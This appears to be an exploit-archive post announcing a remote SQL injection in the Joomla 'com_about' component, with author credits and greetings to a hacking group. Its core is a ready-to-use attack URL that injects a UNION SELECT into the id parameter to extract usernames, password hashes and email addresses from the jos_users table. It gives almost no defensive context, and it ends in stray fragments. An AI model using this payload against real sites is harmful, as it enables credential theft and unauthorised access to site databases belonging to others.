Joomla About component - remote SQL injection

[begood]

75053d91412433bd2af46e8bc384850d

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[?] Joomla com_about Remote Sql Injection Vulnerability
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[?] Script:   [Joomla]
[?] Language: [ PHP ]
[?] Founder:  [ Snakespc Email:s-c-dz@hotmail.com - Site:sec-war.com/cc> ]
[?] Greetz to:[ His0k4    sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]

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 ===[ Exploit ]===

[?] http://server/index.php?option=com_about&task=view&id=-24+UNION SELECT 1,2,3,group_concat(username,0x3a,password,0x3a,email),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+jos_users--
[?]Author: Snakespc <-
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[intrus]

... rep